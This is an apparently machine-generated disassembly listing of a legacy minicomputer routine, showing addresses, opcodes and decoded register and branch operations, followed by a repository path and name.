0x0182 (0x000304) 0x2917- f:00024 d: 279 | OR[279] = A 0x0183 (0x000306) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0184 (0x000308) 0x2914- f:00024 d: 276 | OR[276] = A 0x0185 (0x00030A) 0x7011- f:00070 d: 17 | P = P + 17 (0x0196) 0x0186 (0x00030C) 0x2120- f:00020 d: 288 | A = OR[288] 0x0187 (0x00030E) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010) 0x0188 (0x000310) 0x8002- f:00100 d: 2 | P = P + 2 (0x018A), C = 0 0x0189 (0x000312) 0x700D- f:00070 d: 13 | P = P + 13 (0x0196) 0x018A (0x000314) 0x2114- f:00020 d: 276 | A = OR[276] 0x018B (0x000316) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x018C (0x000318) 0x2908- f:00024 d: 264 | OR[264] = A 0x018D (0x00031A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x018E (0x00031C) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x018F (0x00031E) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x0191 (0x000322) 0x2114- f:00020 d: 276 | A = OR[276] 0x0192 (0x000324) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0193 (0x000326) 0x2917- f:00024 d: 279 | OR[279] = A 0x0194 (0x000328) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0195 (0x00032A) 0x2914- f:00024 d: 276 | OR[276] = A 0x0196 (0x00032C) 0x7033- f:00070 d: 51 | P = P + 51 (0x01C9) 0x0197 (0x00032E) 0x2113- f:00020 d: 275 | A = OR[275] 0x0198 (0x000330) 0x1606- f:00013 d: 6 | A = A - 6 (0x0006) 0x0199 (0x000332) 0x8402- f:00102 d: 2 | P = P + 2 (0x019B), A = 0 0x019A (0x000334) 0x7008- f:00070 d: 8 | P = P + 8 (0x01A2) 0x019B (0x000336) 0x2114- f:00020 d: 276 | A = OR[276] 0x019C (0x000338) 0x2916- f:00024 d: 278 | OR[278] = A 0x019D (0x00033A) 0x2115- f:00020 d: 277 | A = OR[277] 0x019E (0x00033C) 0x2917- f:00024 d: 279 | OR[279] = A 0x019F (0x00033E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01A0 (0x000340) 0x2914- f:00024 d: 276 | OR[276] = A 0x01A1 (0x000342) 0x2915- f:00024 d: 277 | OR[277] = A 0x01A2 (0x000344) 0x2120- f:00020 d: 288 | A = OR[288] 0x01A3 (0x000346) 0x1640- f:00013 d: 64 | A = A - 64 (0x0040) 0x01A4 (0x000348) 0x8602- f:00103 d: 2 | P = P + 2 (0x01A6), A # 0 0x01A5 (0x00034A) 0x7014- f:00070 d: 20 | P = P + 20 (0x01B9) 0x01A6 (0x00034C) 0x2114- f:00020 d: 276 | A = OR[276] 0x01A7 (0x00034E) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x01A9 (0x000352) 0x2115- f:00020 d: 277 | A = OR[277] 0x01AA (0x000354) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x01AC (0x000358) 0x2120- f:00020 d: 288 | A = OR[288] 0x01AD (0x00035A) 0x1618- f:00013 d: 24 | A = A - 24 (0x0018) 0x01AE (0x00035C) 0x8002- f:00100 d: 2 | P = P + 2 (0x01B0), C = 0 0x01AF (0x00035E) 0x8602- f:00103 d: 2 | P = P + 2 (0x01B1), A # 0 0x01B0 (0x000360) 0x7002- f:00070 d: 2 | P = P + 2 (0x01B2) 0x01B1 (0x000362) 0x7008- f:00070 d: 8 | P = P + 8 (0x01B9) 0x01B2 (0x000364) 0x2116- f:00020 d: 278 | A = OR[278] 0x01B3 (0x000366) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x01B4 (0x000368) 0x2908- f:00024 d: 264 | OR[264] = A 0x01B5 (0x00036A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01B6 (0x00036C) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x01B7 (0x00036E) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x01B9 (0x000372) 0x2120- f:00020 d: 288 | A = OR[288] 0x01BA (0x000374) 0x1611- f:00013 d: 17 | A = A - 17 (0x0011) 0x01BB (0x000376) 0x8002- f:00100 d: 2 | P = P + 2 (0x01BD), C = 0 0x01BC (0x000378) 0x700D- f:00070 d: 13 | P = P + 13 (0x01C9) 0x01BD (0x00037A) 0x2116- f:00020 d: 278 | A = OR[278] 0x01BE (0x00037C) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x01C0 (0x000380) 0x2120- f:00020 d: 288 | A = OR[288] 0x01C1 (0x000382) 0x5800- f:00054 d: 0 | B = A 0x01C2 (0x000384) 0x2117- f:00020 d: 279 | A = OR[279] 0x01C3 (0x000386) 0x4800- f:00044 d: 0 | A = A > B 0x01C4 (0x000388) 0x2908- f:00024 d: 264 | OR[264] = A 0x01C5 (0x00038A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01C6 (0x00038C) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x01C7 (0x00038E) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x01C9 (0x000392) 0x211F- f:00020 d: 287 | A = OR[287] 0x01CA (0x000394) 0x141C- f:00012 d: 28 | A = A + 28 (0x001C) 0x01CB (0x000396) 0x2913- f:00024 d: 275 | OR[275] = A 0x01CC (0x000398) 0x2114- f:00020 d: 276 | A = OR[276] 0x01CD (0x00039A) 0x3913- f:00034 d: 275 | (OR[275]) = A 0x01CE (0x00039C) 0x2D13- f:00026 d: 275 | OR[275] = OR[275] + 1 0x01CF (0x00039E) 0x2115- f:00020 d: 277 | A = OR[277] 0x01D0 (0x0003A0) 0x3913- f:00034 d: 275 | (OR[275]) = A 0x01D1 (0x0003A2) 0x2D13- f:00026 d: 275 | OR[275] = OR[275] + 1 0x01D2 (0x0003A4) 0x2116- f:00020 d: 278 | A = OR[278] 0x01D3 (0x0003A6) 0x3913- f:00034 d: 275 | (OR[275]) = A 0x01D4 (0x0003A8) 0x2D13- f:00026 d: 275 | OR[275] = OR[275] + 1 0x01D5 (0x0003AA) 0x2117- f:00020 d: 279 | A = OR[279] 0x01D6 (0x0003AC) 0x3913- f:00034 d: 275 | (OR[275]) = A 0x01D7 (0x0003AE) 0x7E03-0x02FF f:00077 d: 3 | R = OR[3]+767 (0x02FF) 0x01D9 (0x0003B2) 0x2113- f:00020 d: 275 | A = OR[275] 0x01DA (0x0003B4) 0x160C- f:00013 d: 12 | A = A - 12 (0x000C) 0x01DB (0x0003B6) 0x8402- f:00102 d: 2 | P = P + 2 (0x01DD), A = 0 0x01DC (0x0003B8) 0x7008- f:00070 d: 8 | P = P + 8 (0x01E4) 0x01DD (0x0003BA) 0x2102- f:00020 d: 258 | A = OR[258] 0x01DE (0x0003BC) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D) 0x01DF (0x0003BE) 0x2908- f:00024 d: 264 | OR[264] = A 0x01E0 (0x0003C0) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01E1 (0x0003C2) 0x2914- f:00024 d: 276 | OR[276] = A 0x01E2 (0x0003C4) 0x7A03-0x020D f:00075 d: 3 | P = OR[3]+525 (0x020D) 0x01E4 (0x0003C8) 0x211E- f:00020 d: 286 | A = OR[286] 0x01E5 (0x0003CA) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x01E6 (0x0003CC) 0x2908- f:00024 d: 264 | OR[264] = A 0x01E7 (0x0003CE) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01E8 (0x0003D0) 0x2914- f:00024 d: 276 | OR[276] = A 0x01E9 (0x0003D2) 0x2114- f:00020 d: 276 | A = OR[276] 0x01EA (0x0003D4) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x01EB (0x0003D6) 0x8603- f:00103 d: 3 | P = P + 3 (0x01EE), A # 0 0x01EC (0x0003D8) 0x7A03-0x020D f:00075 d: 3 | P = OR[3]+525 (0x020D) 0x01EE (0x0003DC) 0x2114- f:00020 d: 276 | A = OR[276] 0x01EF (0x0003DE) 0x1606- f:00013 d: 6 | A = A - 6 (0x0006) 0x01F0 (0x0003E0) 0x8603- f:00103 d: 3 | P = P + 3 (0x01F3), A # 0 0x01F1 (0x0003E2) 0x7A03-0x020D f:00075 d: 3 | P = OR[3]+525 (0x020D) 0x01F3 (0x0003E6) 0x7E03-0x02FF f:00077 d: 3 | R = OR[3]+767 (0x02FF) 0x01F5 (0x0003EA) 0x2113- f:00020 d: 275 | A = OR[275] 0x01F6 (0x0003EC) 0x160C- f:00013 d: 12 | A = A - 12 (0x000C) 0x01F7 (0x0003EE) 0x8603- f:00103 d: 3 | P = P + 3 (0x01FA), A # 0 0x01F8 (0x0003F0) 0x7A03-0x020D f:00075 d: 3 | P = OR[3]+525 (0x020D) 0x01FA (0x0003F4) 0x211E- f:00020 d: 286 | A = OR[286] 0x01FB (0x0003F6) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x01FC (0x0003F8) 0x2908- f:00024 d: 264 | OR[264] = A 0x01FD (0x0003FA) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x01FE (0x0003FC) 0x2916- f:00024 d: 278 | OR[278] = A 0x01FF (0x0003FE) 0x104A- f:00010 d: 74 | A = 74 (0x004A) 0x0200 (0x000400) 0x2915- f:00024 d: 277 | OR[277] = A 0x0201 (0x000402) 0x2114- f:00020 d: 276 | A = OR[276] 0x0202 (0x000404) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002) 0x0203 (0x000406) 0x8603- f:00103 d: 3 | P = P + 3 (0x0206), A # 0 0x0204 (0x000408) 0x1053- f:00010 d: 83 | A = 83 (0x0053) 0x0205 (0x00040A) 0x2915- f:00024 d: 277 | OR[277] = A 0x0206 (0x00040C) 0x7026- f:00070 d: 38 | P = P + 38 (0x022C) 0x0207 (0x00040E) 0x2114- f:00020 d: 276 | A = OR[276] 0x0208 (0x000410) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003) 0x0209 (0x000412) 0x8402- f:00102 d: 2 | P = P + 2 (0x020B), A = 0 0x020A (0x000414) 0x7009- f:00070 d: 9 | P = P + 9 (0x0213) 0x020B (0x000416) 0x104A- f:00010 d: 74 | A = 74 (0x004A) 0x020C (0x000418) 0x2915- f:00024 d: 277 | OR[277] = A 0x020D (0x00041A) 0x2102- f:00020 d: 258 | A = OR[258] 0x020E (0x00041C) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F) 0x020F (0x00041E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0210 (0x000420) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0211 (0x000422) 0x2916- f:00024 d: 278 | OR[278] = A 0x0212 (0x000424) 0x701A- f:00070 d: 26 | P = P + 26 (0x022C) 0x0213 (0x000426) 0x2114- f:00020 d: 276 | A = OR[276] 0x0214 (0x000428) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002) 0x0215 (0x00042A) 0x8402- f:00102 d: 2 | P = P + 2 (0x0217), A = 0 0x0216 (0x00042C) 0x7009- f:00070 d: 9 | P = P + 9 (0x021F) 0x0217 (0x00042E) 0x1053- f:00010 d: 83 | A = 83 (0x0053) 0x0218 (0x000430) 0x2915- f:00024 d: 277 | OR[277] = A 0x0219 (0x000432) 0x2102- f:00020 d: 258 | A = OR[258] 0x021A (0x000434) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E) 0x021B (0x000436) 0x2908- f:00024 d: 264 | OR[264] = A 0x021C (0x000438) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x021D (0x00043A) 0x2916- f:00024 d: 278 | OR[278] = A 0x021E (0x00043C) 0x700E- f:00070 d: 14 | P = P + 14 (0x022C) 0x021F (0x00043E) 0x2114- f:00020 d: 276 | A = OR[276] 0x0220 (0x000440) 0x1606- f:00013 d: 6 | A = A - 6 (0x0006) 0x0221 (0x000442) 0x8402- f:00102 d: 2 | P = P + 2 (0x0223), A = 0 0x0222 (0x000444) 0x7006- f:00070 d: 6 | P = P + 6 (0x0228) 0x0223 (0x000446) 0x1041- f:00010 d: 65 | A = 65 (0x0041) 0x0224 (0x000448) 0x2915- f:00024 d: 277 | OR[277] = A 0x0225 (0x00044A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0226 (0x00044C) 0x2916- f:00024 d: 278 | OR[278] = A 0x0227 (0x00044E) 0x7005- f:00070 d: 5 | P = P + 5 (0x022C) 0x0228 (0x000450) 0x1045- f:00010 d: 69 | A = 69 (0x0045) 0x0229 (0x000452) 0x2915- f:00024 d: 277 | OR[277] = A 0x022A (0x000454) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x022B (0x000456) 0x2916- f:00024 d: 278 | OR[278] = A 0x022C (0x000458) 0x2115- f:00020 d: 277 | A = OR[277] 0x022D (0x00045A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x022E (0x00045C) 0x2915- f:00024 d: 277 | OR[277] = A 0x022F (0x00045E) 0x211F- f:00020 d: 287 | A = OR[287] 0x0230 (0x000460) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005) 0x0231 (0x000462) 0x2908- f:00024 d: 264 | OR[264] = A 0x0232 (0x000464) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0233 (0x000466) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x0234 (0x000468) 0x2515- f:00022 d: 277 | A = A + OR[277] 0x0235 (0x00046A) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0236 (0x00046C) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0237 (0x00046E) 0x211F- f:00020 d: 287 | A = OR[287] 0x0238 (0x000470) 0x1407- f:00012 d: 7 | A = A + 7 (0x0007) 0x0239 (0x000472) 0x2908- f:00024 d: 264 | OR[264] = A 0x023A (0x000474) 0x2116- f:00020 d: 278 | A = OR[278] 0x023B (0x000476) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x023C (0x000478) 0x2115- f:00020 d: 277 | A = OR[277] 0x023D (0x00047A) 0x1641- f:00013 d: 65 | A = A - 65 (0x0041) 0x023E (0x00047C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0240), A = 0 0x023F (0x00047E) 0x7060- f:00070 d: 96 | P = P + 96 (0x029F) 0x0240 (0x000480) 0x211F- f:00020 d: 287 | A = OR[287] 0x0241 (0x000482) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004) 0x0242 (0x000484) 0x2908- f:00024 d: 264 | OR[264] = A 0x0243 (0x000486) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0244 (0x000488) 0x2913- f:00024 d: 275 | OR[275] = A 0x0245 (0x00048A) 0x2113- f:00020 d: 275 | A = OR[275] 0x0246 (0x00048C) 0x1E00-0x434D f:00017 d: 0 | A = A - 17229 (0x434D) 0x0248 (0x000490) 0x868D- f:00103 d: 141 | P = P + 141 (0x02D5), A # 0 0x0249 (0x000492) 0x211F- f:00020 d: 287 | A = OR[287] 0x024A (0x000494) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012) 0x024B (0x000496) 0x2908- f:00024 d: 264 | OR[264] = A 0x024C (0x000498) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x024D (0x00049A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x024E (0x00049C) 0x2923- f:00024 d: 291 | OR[291] = A 0x024F (0x00049E) 0x211F- f:00020 d: 287 | A = OR[287] 0x0250 (0x0004A0) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013) 0x0251 (0x0004A2) 0x2908- f:00024 d: 264 | OR[264] = A 0x0252 (0x0004A4) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0253 (0x0004A6) 0x2924- f:00024 d: 292 | OR[292] = A 0x0254 (0x0004A8) 0x2120- f:00020 d: 288 | A = OR[288] 0x0255 (0x0004AA) 0x1640- f:00013 d: 64 | A = A - 64 (0x0040) 0x0256 (0x0004AC) 0x8602- f:00103 d: 2 | P = P + 2 (0x0258), A # 0 0x0257 (0x0004AE) 0x7014- f:00070 d: 20 | P = P + 20 (0x026B) 0x0258 (0x0004B0) 0x1022- f:00010 d: 34 | A = 34 (0x0022) 0x0259 (0x0004B2) 0x2926- f:00024 d: 294 | OR[294] = A 0x025A (0x0004B4) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x025B (0x0004B6) 0x2927- f:00024 d: 295 | OR[295] = A 0x025C (0x0004B8) 0x2123- f:00020 d: 291 | A = OR[291] 0x025D (0x0004BA) 0x2928- f:00024 d: 296 | OR[296] = A 0x025E (0x0004BC) 0x2124- f:00020 d: 292 | A = OR[292] 0x025F (0x0004BE) 0x2929- f:00024 d: 297 | OR[297] = A 0x0260 (0x0004C0) 0x2125- f:00020 d: 293 | A = OR[293] 0x0261 (0x0004C2) 0x292A- f:00024 d: 298 | OR[298] = A 0x0262 (0x0004C4) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0263 (0x0004C6) 0x292B- f:00024 d: 299 | OR[299] = A 0x0264 (0x0004C8) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0265 (0x0004CA) 0x292C- f:00024 d: 300 | OR[300] = A 0x0266 (0x0004CC) 0x1126- f:00010 d: 294 | A = 294 (0x0126) 0x0267 (0x0004CE) 0x5800- f:00054 d: 0 | B = A 0x0268 (0x0004D0) 0x1800-0x1D18 f:00014 d: 0 | A = 7448 (0x1D18) 0x026A (0x0004D4) 0x7C09- f:00076 d: 9 | R = OR[9] 0x026B (0x0004D6) 0x211F- f:00020 d: 287 | A = OR[287] 0x026C (0x0004D8) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012) 0x026D (0x0004DA) 0x2908- f:00024 d: 264 | OR[264] = A 0x026E (0x0004DC) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x026F (0x0004DE) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0270 (0x0004E0) 0x2914- f:00024 d: 276 | OR[276] = A 0x0271 (0x0004E2) 0x2114- f:00020 d: 276 | A = OR[276] 0x0272 (0x0004E4) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x0273 (0x0004E6) 0x2914- f:00024 d: 276 | OR[276] = A 0x0274 (0x0004E8) 0x2114- f:00020 d: 276 | A = OR[276] 0x0275 (0x0004EA) 0x2525- f:00022 d: 293 | A = A + OR[293] 0x0276 (0x0004EC) 0x2914- f:00024 d: 276 | OR[276] = A 0x0277 (0x0004EE) 0x211F- f:00020 d: 287 | A = OR[287] 0x0278 (0x0004F0) 0x141C- f:00012 d: 28 | A = A + 28 (0x001C) 0x0279 (0x0004F2) 0x2915- f:00024 d: 277 | OR[277] = A 0x027A (0x0004F4) 0x2120- f:00020 d: 288 | A = OR[288] 0x027B (0x0004F6) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004) 0x027C (0x0004F8) 0x2913- f:00024 d: 275 | OR[275] = A 0x027D (0x0004FA) 0x2115- f:00020 d: 277 | A = OR[277] 0x027E (0x0004FC) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004) 0x027F (0x0004FE) 0x2713- f:00023 d: 275 | A = A - OR[275] 0x0280 (0x000500) 0x2915- f:00024 d: 277 | OR[277] = A 0x0281 (0x000502) 0x2113- f:00020 d: 275 | A = OR[275] 0x0282 (0x000504) 0x8407- f:00102 d: 7 | P = P + 7 (0x0289), A = 0 0x0283 (0x000506) 0x3115- f:00030 d: 277 | A = (OR[277]) 0x0284 (0x000508) 0x3914- f:00034 d: 276 | (OR[276]) = A 0x0285 (0x00050A) 0x2D14- f:00026 d: 276 | OR[276] = OR[276] + 1 0x0286 (0x00050C) 0x2D15- f:00026 d: 277 | OR[277] = OR[277] + 1 0x0287 (0x00050E) 0x2F13- f:00027 d: 275 | OR[275] = OR[275] - 1 0x0288 (0x000510) 0x7207- f:00071 d: 7 | P = P - 7 (0x0281) 0x0289 (0x000512) 0x1023- f:00010 d: 35 | A = 35 (0x0023) 0x028A (0x000514) 0x2926- f:00024 d: 294 | OR[294] = A 0x028B (0x000516) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x028C (0x000518) 0x2927- f:00024 d: 295 | OR[295] = A 0x028D (0x00051A) 0x2123- f:00020 d: 291 | A = OR[291] 0x028E (0x00051C) 0x2928- f:00024 d: 296 | OR[296] = A 0x028F (0x00051E) 0x2124- f:00020 d: 292 | A = OR[292] 0x0290 (0x000520) 0x2929- f:00024 d: 297 | OR[297] = A 0x0291 (0x000522) 0x2125- f:00020 d: 293 | A = OR[293] 0x0292 (0x000524) 0x292A- f:00024 d: 298 | OR[298] = A 0x0293 (0x000526) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0294 (0x000528) 0x292B- f:00024 d: 299 | OR[299] = A 0x0295 (0x00052A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0296 (0x00052C) 0x292C- f:00024 d: 300 | OR[300] = A 0x0297 (0x00052E) 0x1126- f:00010 d: 294 | A = 294 (0x0126) 0x0298 (0x000530) 0x5800- f:00054 d: 0 | B = A 0x0299 (0x000532) 0x1800-0x1D18 f:00014 d: 0 | A = 7448 (0x1D18) 0x029B (0x000536) 0x7C09- f:00076 d: 9 | R = OR[9] 0x029C (0x000538) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x029D (0x00053A) 0x2921- f:00024 d: 289 | OR[289] = A 0x029E (0x00053C) 0x7020- f:00070 d: 32 | P = P + 32 (0x02BE) 0x029F (0x00053E) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x02A0 (0x000540) 0x2926- f:00024 d: 294 | OR[294] = A 0x02A1 (0x000542) 0x1800-0x015A f:00014 d: 0 | A = 346 (0x015A) 0x02A3 (0x000546) 0x2927- f:00024 d: 295 | OR[295] = A 0x02A4 (0x000548) 0x1800-0x01CA f:00014 d: 0 | A = 458 (0x01CA) 0x02A6 (0x00054C) 0x2928- f:00024 d: 296 | OR[296] = A 0x02A7 (0x00054E) 0x211F- f:00020 d: 287 | A = OR[287] 0x02A8 (0x000550) 0x2929- f:00024 d: 297 | OR[297] = A 0x02A9 (0x000552) 0x1800-0x02C0 f:00014 d: 0 | A = 704 (0x02C0) 0x02AB (0x000556) 0x292A- f:00024 d: 298 | OR[298] = A 0x02AC (0x000558) 0x1800-0x0247 f:00014 d: 0 | A = 583 (0x0247) 0x02AE (0x00055C) 0x292B- f:00024 d: 299 | OR[299] = A 0x02AF (0x00055E) 0x1800-0x0001 f:00014 d: 0 | A = 1 (0x0001) 0x02B1 (0x000562) 0x292C- f:00024 d: 300 | OR[300] = A 0x02B2 (0x000564) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02B3 (0x000566) 0x292D- f:00024 d: 301 | OR[301] = A 0x02B4 (0x000568) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02B5 (0x00056A) 0x292E- f:00024 d: 302 | OR[302] = A 0x02B6 (0x00056C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02B7 (0x00056E) 0x292F- f:00024 d: 303 | OR[303] = A 0x02B8 (0x000570) 0x1126- f:00010 d: 294 | A = 294 (0x0126) 0x02B9 (0x000572) 0x5800- f:00054 d: 0 | B = A 0x02BA (0x000574) 0x1800-0x1D18 f:00014 d: 0 | A = 7448 (0x1D18) 0x02BC (0x000578) 0x7C09- f:00076 d: 9 | R = OR[9] 0x02BD (0x00057A) 0x2921- f:00024 d: 289 | OR[289] = A 0x02BE (0x00057C) 0x742C- f:00072 d: 44 | R = P + 44 (0x02EA) 0x02BF (0x00057E) 0x2121- f:00020 d: 289 | A = OR[289] 0x02C0 (0x000580) 0x8602- f:00103 d: 2 | P = P + 2 (0x02C2), A # 0 0x02C1 (0x000582) 0x7013- f:00070 d: 19 | P = P + 19 (0x02D4) 0x02C2 (0x000584) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x02C3 (0x000586) 0x2926- f:00024 d: 294 | OR[294] = A 0x02C4 (0x000588) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137) 0x02C6 (0x00058C) 0x2927- f:00024 d: 295 | OR[295] = A 0x02C7 (0x00058E) 0x2121- f:00020 d: 289 | A = OR[289] 0x02C8 (0x000590) 0x2928- f:00024 d: 296 | OR[296] = A 0x02C9 (0x000592) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02CA (0x000594) 0x2929- f:00024 d: 297 | OR[297] = A 0x02CB (0x000596) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02CC (0x000598) 0x292A- f:00024 d: 298 | OR[298] = A 0x02CD (0x00059A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x02CE (0x00059C) 0x292B- f:00024 d: 299 | OR[299] = A 0x02CF (0x00059E) 0x1126- f:00010 d: 294 | A = 294 (0x0126) 0x02D0 (0x0005A0) 0x5800- f:00054 d: 0 | B = A 0x02D1 (0x0005A2) 0x1800-0x1D18 f:00014 d: 0 | A = 7448 (0x1D18) 0x02D3 (0x0005A6) 0x7C09- f:00076 d: 9 | R = OR[9] 0x02D4 (0x0005A8) 0x702F- f:00070 d: 47 | P = P + 47 (0x0303) 0x02D5 (0x0005AA) 0x7415- f:00072 d: 21 | R = P + 21 (0x02EA) 0x02D6 (0x0005AC) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x02D7 (0x0005AE) 0x2926- f:00024 d: 294 | OR[294] = A 0x02D8 (0x0005B0) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137) 0x02DA (0x0005B4) 0x2927- f:00024 d: 295 | OR[295] = A 0x02DB (0x0005B6) 0x1800-0x0004 f:00014 d: 0 | A = 4 (0x0004) 0x02DD (0x0005BA) 0x2928- f:00024 d: 296 | OR[296] = A 0x02DE (0x0005BC) 0x2119- f:00020 d: 281 | A = OR[281] 0x02DF (0x0005BE) 0x2929- f:00024 d: 297 | OR[297] = A 0x02E0 (0x0005C0) 0x211C- f:00020 d: 284 | A = OR[284] 0x02E1 (0x0005C2) 0x292A- f:00024 d: 298 | OR[298] = A 0x02E2 (0x0005C4) 0x211D- f:00020 d: 285 | A = OR[285] 0x02E3 (0x0005C6) 0x292B- f:00024 d: 299 | OR[299] = A 0x02E4 (0x0005C8) 0x1126- f:00010 d: 294 | A = 294 (0x0126) 0x02E5 (0x0005CA) 0x5800- f:00054 d: 0 | B = A 0x02E6 (0x0005CC) 0x1800-0x1D18 f:00014 d: 0 | A = 7448 (0x1D18) 0x02E8 (0x0005D0) 0x7C09- f:00076 d: 9 | R = OR[9] 0x02E9 (0x0005D2) 0x701A- f:00070 d: 26 | P = P + 26 (0x0303) 0x02EA (0x0005D4) 0x2F04- f:00027 d: 260 | OR[260] = OR[260] - 1 0x02EB (0x0005D6) 0x3104- f:00030 d: 260 | A = (OR[260]) 0x02EC (0x0005D8) 0x2904- f:00024 d: 260 | OR[260] = A 0x02ED (0x0005DA) 0x2104- f:00020 d: 260 | A = OR[260] 0x02EE (0x0005DC) 0x2706- f:00023 d: 262 | A = A - OR[262] 0x02EF (0x0005DE) 0x8007- f:00100 d: 7 | P = P + 7 (0x02F6), C = 0 0x02F0 (0x0005E0) 0x2104- f:00020 d: 260 | A = OR[260] 0x02F1 (0x0005E2) 0x2705- f:00023 d: 261 | A = A - OR[261] 0x02F2 (0x0005E4) 0x8003- f:00100 d: 3 | P = P + 3 (0x02F5), C = 0 0x02F3 (0x0005E6) 0x8402- f:00102 d: 2 | P = P + 2 (0x02F5), A = 0 0x02F4 (0x0005E8) 0x7002- f:00070 d: 2 | P = P + 2 (0x02F6) 0x02F5 (0x0005EA) 0x7003- f:00070 d: 3 | P = P + 3 (0x02F8) 0x02F6 (0x0005EC) 0x7C34- f:00076 d: 52 | R = OR[52] 0x02F7 (0x0005EE) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x02F8 (0x0005F0) 0x0200- f:00001 d: 0 | EXIT 0x02F9 (0x0005F2) 0x311E- f:00030 d: 286 | A = (OR[286]) 0x02FA (0x0005F4) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x02FB (0x0005F6) 0x2913- f:00024 d: 275 | OR[275] = A 0x02FC (0x0005F8) 0x211E- f:00020 d: 286 | A = OR[286] 0x02FD (0x0005FA) 0x2513- f:00022 d: 275 | A = A + OR[275] 0x02FE (0x0005FC) 0x291E- f:00024 d: 286 | OR[286] = A 0x02FF (0x0005FE) 0x311E- f:00030 d: 286 | A = (OR[286]) 0x0300 (0x000600) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0301 (0x000602) 0x2913- f:00024 d: 275 | OR[275] = A 0x0302 (0x000604) 0x0200- f:00001 d: 0 | EXIT 0x0303 (0x000606) 0x7619- f:00073 d: 25 | R = P - 25 (0x02EA) 0x0304 (0x000608) 0x102A- f:00010 d: 42 | A = 42 (0x002A) 0x0305 (0x00060A) 0x2926- f:00024 d: 294 | OR[294] = A 0x0306 (0x00060C) 0x1126- f:00010 d: 294 | A = 294 (0x0126) 0x0307 (0x00060E) 0x5800- f:00054 d: 0 | B = A 0x0308 (0x000610) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0309 (0x000612) 0x7C09- f:00076 d: 9 | R = OR[9] 0x030A (0x000614) 0x0000- f:00000 d: 0 | PASS 0x030B (0x000616) 0x0000- f:00000 d: 0 | PASS
llvm-gcc-4.2-2.9/gcc/ada/prj-err.ads
vidkidz/crossbridge
1
11812
